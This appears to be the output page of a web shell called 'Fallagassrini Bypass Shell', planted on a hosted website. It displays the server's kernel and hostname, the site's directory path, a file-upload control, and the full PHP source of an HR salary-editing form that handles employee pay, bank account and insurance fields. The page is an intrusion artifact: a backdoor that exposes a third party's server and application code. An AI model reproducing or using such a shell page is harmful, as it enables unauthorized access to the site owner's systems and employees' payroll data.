? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/hr/edit_salary_setting.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$this->load->view('hr/hrfunctions');
$emplyee=$this->hrmodel->search_employee();
?>
<script>
 function hideRows()
    {
        document.getElementById('netbankdetails').style.display="none";
        document.getElementById('bankdetails').style.display="none";
        // document.getElementById('modepayment').style.display="none";
        //    document.getElementById('labelDDNo').style.display="none";
        document.getElementById('labelDDNo1').style.display="none";
    }

    function showpaydetails()
    {
        var mode=document.getElementById('paymethod').value;
        ;
        if ( mode=='bank')
        {

    
            hideRows();
            document.getElementById('netbankdetails').style.display="";
            document.getElementById('bankdetails').style.display="";
            document.getElementById('labelDDNo1').style.display="";
        }
        else if (mode=='credit')
        {
            hideRows();
            document.getElementById('modepayment').style.display="block";
        }
        else
        {
            hideRows();
        }
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Salary Settings</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('hr','viewinhrsearch','search_salary_setting','view_salary_setting','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id'    => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('hr/addinhr/update_salary_setting/view_salary_setting/1',$attributes);
                ?>
                <input type="hidden" name="employee_salary_id" id="employee_salary_id" value="<?= $viewinfo->employee_salary_id ?>"  />
                <h3 class="form-section">Employee Salary Details</h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Name</label>
                            <div class="controls">
                                <select name="employee_id" class="required" id="employee_id">
                                    <option value="">--Select--</option>
                                    <?php
                                    foreach($emplyee['results']->result_array() as $row)
                                    {
                                    ?>
                                        <option value="<?=$row['employee_id']?>" <?php if($row['employee_id']==$viewinfo->employee_id){echo 'selected'; }?>><?=$row['employee_name']?> </option>
                                    <?php                            
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">W.E.F  Date</label>
                            <div class="controls">
                                <input class="w_90 required calfocus span12" type="text" name="wef_date" id="wef_date" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->wef_date)?>"/>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Basic Salary </label>
                            <div class="controls">
                                <input class="auto w_90 required span12" type="text" name="basic_salary" id="basic_salary" value="<?=$viewinfo->basic_salary?>" onblur="changebasicsalary(this.value)"/>
                            </div>
                        </div>
                    </div>
                </div>
                <h3 class="form-section">Annual Ticket Settings </h3>

                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">From:</label>
                            <div class="controls">
                                <input class="w_90 span12" type="text" name="from_ticket" id="from_ticket" value="<?=$viewinfo->from_ticket?>"/>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">To: </label>
                            <div class="controls">
                                <input class="w_90 span12" type="text"  name="to_ticket" id="to_ticket" value="<?=$viewinfo->to_ticket?>"> 
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Return Ticket</label>
                            <div class="controls">
                                <input type="checkbox" name="return_ticket" value="1" <?php if($viewinfo->return_ticket=='1'){ echo 'checked="checked"' ;}?> />
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">No.of Tickets </label>
                            <div class="controls">
                                <input class="w_90 span12" type="text" style="width:70px;"  name="no_tickets" id="no_tickets" value="<?=$viewinfo->no_tickets?>">

                            </div>
                        </div>
                    </div>
                </div>

                <h3 class="form-section"> Allowance/Deduction Details</h3>

                <table class="table table-striped table-hover table-bordered" id="sample_4" style="background-color: white;">
                    <tr>
                     <th align="center">Title</th>
                     <th align="center">Mode</th>
                     <th align="center">Amount/Percentage</th>
                     <th align="center">Sub Total</th>
                     <th align="center">Type</th>
                </tr>
                
                <?php
                $i=1;
                $tot_allowance=0;
                $tot_deduct =0;
                $basicsalary = $viewinfo->basic_salary;
                $dept=$this->mastermodel->get_data('allowdeduc','1','allowdeduc_type');
                foreach($dept as $dep)
                {
                if($dep['allowdeduc_mode']==1)
                    $mode="Direct Amount";
                else
                    $mode="Percentage"; ?>
                <tr>
                    <td><div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=$dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/> </div></td>
                    <td><div class="allow_dedc"><?=$mode?></div></td>
                    <?php
                    $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
                    if(!empty ($amount_allowdeduc))
                        $allowdeduc_amount = $amount_allowdeduc->amount;
                    else
                        $allowdeduc_amount=0;
                    ?>
                    <td>
                        <input style="width:75px;float:left;" class="auto"  value="<?=$allowdeduc_amount;?>"  type="text" name="amount_<?=$i;?>" id="amount_<?=$i;?>" onblur="calculteallowancetotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)"/>
                        <?php 
                        if($dep['allowdeduc_mode']==0)
                        {
                        ?>
                            <div style="float:left;margin: 5px;padding-top: 10px">%</div>
                        <?php
                        }
                            ?>
                    </td>
                    <?php
                    if($dep['allowdeduc_mode']==0)
                        $allototal= $allowdeduc_amount/100*$basicsalary;
                    else
                        $allototal=$allowdeduc_amount;
                    $tot_allowance+= $allototal;
                    ?>
                    <td><input type="text"  class="auto" name="alltotal_<?=$i?>" id="alltotal_<?=$i?>" value="<?=$allototal;?>" readonly /></td>
                    <td><div class="allow_dedc">Allowance</div></td>
                </tr>
                
                
                <?php
                $i++;
                }
                ?>
                <input type="hidden" name="allowcount" id="allowcount" value="<?=$i?>" />
                <?php
                $dept=$this->mastermodel->get_data('allowdeduc','0','allowdeduc_type');
                foreach($dept as $dep)
                {
                if($dep['allowdeduc_mode']==1)
                    $mode="Direct Amount";
                else
                   $mode="Percentage";
                ?>
                <tr>
                    <td>
                        <div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=  $dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/></div>
                    </td>
                    <td>
                        <div class="allow_dedc"><?=$mode?></div>
                    </td>
                    <?php   
                    
                    $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
                    $allowdeduc_amount = $amount_allowdeduc->amount;                    
                    ?>
                    <td>
                        <input type="text"   value="<?=$allowdeduc_amount;?>" class="auto" onblur="calcultedeductiontotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)" name="amount_<?=$i?>" id="amount_<?=$i?>" style="width:75px;float:left;"/>
                        <?php
                        if($dep['allowdeduc_mode']==0)
                        {
                         ?>
                        <div style="float:left;margin: 5px;padding-top: 10px">%</div>
                        <?php
                        }
                        ?>
                    </td>
                    <?php
                    if($dep['allowdeduc_mode']==0)
                        $dedtotal= $allowdeduc_amount/100*$basicsalary;
                    else
                        $dedtotal=$allowdeduc_amount;
                        $tot_deduct += $dedtotal;
                    ?>
                    <td><input type="text"  class="auto" name="dedtotal_<?=$i?>" id="dedtotal_<?=$i?>" value="<?=$dedtotal?>" readonly /></td>
                    <td><div class="allow_dedc">Deduction</div></td>
                </tr>
                <?php
                $i++;
                }
                ?>
                <input type="hidden" name="dedcount" id="dedcount" value="<?=$i?>" />
                </table>


                <h3 class="form-section"> Salary Details</h3>


                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                    <tr>
                    <th>Allowance</th>
                    <th>Deduction</th>
                </tr>
                <tr>
                    <td><input type="text"  class="auto" readonly style="width:80%" name="allowance" id="allowance"  value="<?php echo $tot_allowance; ?>"></td>
                    <td><input type="text"  class="auto" style="width:80%" readonly name="deduction" id="deduction" value="<?php echo $tot_deduct ; ?>"></td>
                </tr>
                <tr>
                    <th>Gross Salary</th>
                    <th>Net Salary</th>
                </tr>
                <tr>
                    <td><input type="text"  class="auto" readonly style="width:80%" name="grosssalary" id="grosssalary" value="<?php echo $basicsalary + $tot_allowance; ?>"></td>
                    <td><input type="text"   class="auto" style="width:80%" readonly name="netsalary" id="netsalary" value="<?php echo ($basicsalary + $tot_allowance) - $tot_deduct ; ?>"></td>
                </tr>

<?php

 $paymode = $viewinfo->payment_method;
 $paymodes = $this->mastermodel->getSingleFieldValue('payment_methods', 'methods', 'method', $paymode);
  $bank_info=$this->mastermodel->get_data_srow('salarybank', $viewinfo->employee_salary_id, 'sal_id');
 $acc_no='';
        $branch='';
        $acc_holder='';
        $bank_name='';
        if(!empty($bank_info)){
            
            $acc_no=$bank_info->acc_no;
            $branch=$bank_info->branch_name;
            $acc_holder=$bank_info->ch_dep_no;
            $bank_name=$bank_info->bank_name;
        }
        
?>
                   <tr>
                    <th>Payment Method</th>
                     <td>
                                <select  id="paymethod" name="paymethod"  onchange="showpaydetails()">
                                    <option value="<?= $paymode ?>"><?= $paymodes ?></option>
                                    
                                    <?php
                                    $methods = $this->mastermodel->getdatas('payment_methods', 'sort');
                                    foreach ($methods as $meth) {
                                        if ($meth['method'] != 'credit' && $meth['method'] != $paymode) {
                                            echo "<option value=" . $meth['method'] . " >" . $meth['methods'] . "</option>";
                                        }
                                    }
                                    ?>
                                 </select>
<!--                            <span id="paymethodInfo" class="red_bold">*</span>-->
                        </td>
                    </tr>
                        <tr><td></td><td></td></tr>
                       
                        <tr style="display:<?php  if($paymode=="bank"){echo ''; }else echo 'none';?>" id="bankdetails" >
                            <td>
                                <label  id="labelDDNo1" style="color:#000;">Account Holder</label>
                                <input  type="text" id="acc_holder"  value="<?=$acc_holder?>" name='acc_holder'>
                            </td>
                            <td>
                                <label style="color:#000;">Bank Name</label>
                                <input  type="text" value="<?=$bank_name?>" id="bank_name" name='bank_name'>
                            </td> 
                        </tr>

                        <tr  style="display:<?php  if($paymode=="bank"){echo ''; }else echo 'none';?>"  id="netbankdetails"  >
                            <td>
                                <label style="color:#000;">Account Number</label>
                                <input type="text" value="<?=$acc_no?>" id="acc_no" name='acc_no' >
                            </td>
                            <td>
                                <label style="color:#000;">Branch Name</label>
                                <input type="text" value="<?=$branch?>" id="branch_name" name='branch_name'>
                            </td>
                        </tr>
                        <input type="hidden" name="last_method" id="last_method" value="<?= $paymode ?>"/>
                </table>

                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>  Insurance Details</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                        <th>Type of Insurance</th>
                        <th>Insurance Company</th>
                        <th>Policy No</th>
                        <th>Plan Name</th>
                        <th>Sum Insured</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
        $insuranceDetails=$this->mastermodel->get_data('employee_salary_medical',$viewinfo->employee_salary_id,'employee_salary_id');
        $k=1;
        foreach($insuranceDetails as $insu)
        {
        ?>
                     <tr>
            <td><input type="text" style="width:70px;" id="type"  name="type"<?= $k ?> value="<?= $insu['type'] ?>" /></td>
            <td><input type="text" style="width:70px;" id="company"  name="company"<?= $k ?> value="<?= $insu['company'] ?>"/></td>
            <td><input type="text" style="width:70px;" id="policy"  name="policy"<?= $k ?> value="<?= $insu['policy'] ?>"/></td>
            <td><input type="text" style="width:70px;" id="plan" name="plan"<?= $k ?> value="<?= $insu['plan'] ?>"/></td>
            <td><input type="text" style="width:70px;" id="sum" class="number" name="sum"<?= $k ?> value="<?= $insu['sum'] ?>"/></td>
            <td><img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
        </tr>
        <?php
        }
        ?>
                    <tr>                                               
                          <td><input type="text" style="width:70px;" id="type"  name="type"  /></td>
                          <td><input type="text" style="width:70px;"  name="company"id="company"/></td>
                          <td><input type="text" style="width:70px;" id="policy"  name="policy"/></td>
                          <td><input type="text" style="width:70px;" name="plan" id="plan"/></td>
                          <td><input type="text" style="width:70px;" class="number" id="sum" name="sum" /></td>             
                          <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                          </td>
                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="salary_setting"/>
                    <input type="hidden" name="resfunction" value="search_salary_setting"/>

                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('hr','viewinhrsearch','search_salary_setting','view_salary_setting','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
<?php
echo form_close();
?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>





bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net